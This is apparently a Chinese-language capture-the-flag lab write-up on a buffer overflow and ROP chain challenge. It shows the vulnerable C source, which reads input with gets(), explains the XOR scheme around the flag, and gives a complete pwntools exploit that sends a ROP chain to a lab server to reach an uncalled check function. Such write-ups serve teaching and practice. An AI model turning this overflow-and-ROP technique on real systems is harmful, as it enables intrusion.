---
# System prepended metadata

title: Simple PWN 0x33(2023 Lab - ROP_RW)
tags: [eductf, PWN, CTF]

---

# Simple PWN 0x33(2023 Lab - ROP_RW)
## Background
ROP chain
## Source code
:::spoiler Source Code
```cpp
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <fcntl.h>

char flag[0x10];
long secret;
char empty_buf[0x30];

void check(char *input)
{
	char pass[0x10];
	char output[0x10];
	for (int i = 0; i < 2; ++i)
	{
		((long *)pass)[i] = ((long *)input)[i] ^ secret;
	}
	if (strcmp(pass, "kyoumokawaii") == 0)
	{
		for (int i = 0; i < 2; ++i)
			((long *)output)[i] = ((long *)flag)[i] ^ ((long *)pass)[i];
	}
	printf("flag = %s\n", output);
}

int main(void)
{
	setvbuf(stdin, 0, _IONBF, 0);
	setvbuf(stdout, 0, _IONBF, 0);
	int fd = 0;
	char buf[0x10];
	fd = open("/home/chal/flag.txt", O_RDONLY);
	read(fd, flag, 0x10);
	close(fd);

	fd = open("/dev/urandom", O_RDONLY);
	read(fd, &secret, sizeof(secret));
	for (int i = 0; i < 2; ++i)
		((long *)flag)[i] = ((long *)flag)[i] ^ secret;

	printf("secret = %lx\n", secret);
	printf("> ");
	gets(buf);

	return 0;
}

```
:::
## Recon
先看這個程式的行為，在main當中，他會打開flag.txt和urandom這兩個file，然後做兩者的XOR，並且回傳urandom的內容給我們，並且有BOF的漏洞存在
:::info
flag和secret這兩個變數都是global variable
:::
而check這個function的功能是我們可以輸入一個input，他會和secret做XOR，若結果等於==kyoumokawaii==就把前面加密過的flag再跟`kyoumokawaii`做XOR並回傳給我們

思路很簡單:
雖然整隻程式都沒有呼叫到check function，但如果我們拿到secret，又可以進到check，是否可以做一些操作拿到flag
一開始一定會做的事情是把flag加密
$$
cipher= flag \oplus secret\\
$$
如果可以進到check function
$$
input\leftarrow kyoumokawaii\oplus secret
$$
$$
output\leftarrow cipher\oplus kyoumokawaii=flag\oplus secret\oplus kyoumokawaii
$$
$$
flag = output\oplus secret\oplus kyoumokawaii
$$
此時`output`, `secret`都已知，我們反推出flag為何，但重點是要怎麼呼叫到check function?==ROP chain + BOF==

1. 先利用該隻binary的gadget蓋成我們需要的chain，並且隨便找一個區間是不太會寫入的bss section address
    ```
    check_fn_addr = 0x4017ba
    bss_section = 0x4c7f00
    pop_rdx_rbx_ret = 0x0000000000485e8b
    mov_qword_ptr_rdi_rdx_ret = 0x00000000004337e3
    pop_rdi_ret = 0x00000000004020af
    ...
    rop_chain = flat(
    pop_rdi_ret,        bss_section,
    pop_rdx_rbx_ret,    input_1,        0,
    mov_qword_ptr_rdi_rdx_ret,
    pop_rdi_ret,        bss_section + 0x8,
    pop_rdx_rbx_ret,    input_2,        0,
    mov_qword_ptr_rdi_rdx_ret,
    pop_rdi_ret,        bss_section,
    check_fn_addr
    )
    ```
2. 等到跳到check function後就可以開始接return output，並按照上面的公式回推flag
## Exploit - ROP + BOF
```python
from pwn import *
from Crypto.Util.number import bytes_to_long, long_to_bytes

# r = process('./chal')
r = remote('10.113.184.121', 10051)
context.arch = 'amd64'

r.recvuntil(b'secret = ')
secret = int(r.recvline().strip().decode(), 16)
log.info(f'secret = {hex(secret)}')

check_fn_addr = 0x4017ba
bss_section = 0x4c7f00
pop_rdx_rbx_ret = 0x0000000000485e8b
mov_qword_ptr_rdi_rdx_ret = 0x00000000004337e3
pop_rdi_ret = 0x00000000004020af

input_1 = u64(b'kyoumoka') ^ secret
input_2 = u64(b'waii\x00\x00\x00\x00') ^ secret
log.info(f'input_1 = {hex(input_1)}, input_2 = {hex(input_2)}')

rop_chain = flat(
    pop_rdi_ret,        bss_section,
    pop_rdx_rbx_ret,    input_1,        0,
    mov_qword_ptr_rdi_rdx_ret,
    pop_rdi_ret,        bss_section + 0x8,
    pop_rdx_rbx_ret,    input_2,        0,
    mov_qword_ptr_rdi_rdx_ret,
    pop_rdi_ret,        bss_section,
    check_fn_addr
)
# raw_input()
r.sendlineafter(b'> ', b'a' * 40 + rop_chain)
r.recvuntil(b'flag = ')
output = r.recvline().strip()
log.info(f'output = {output}')
log.info(f'Part 1 = {hex(u64(output[0:8]))}, Part 2 = {hex(u64(output[8:16]))}')
flag_1 = p64(u64(output[0:8]) ^ input_1)
flag_2 = p64(u64(output[8:16]) ^ input_2)
log.info(f'flag = {(flag_1 + flag_2).strip().decode()}')

r.interactive()
```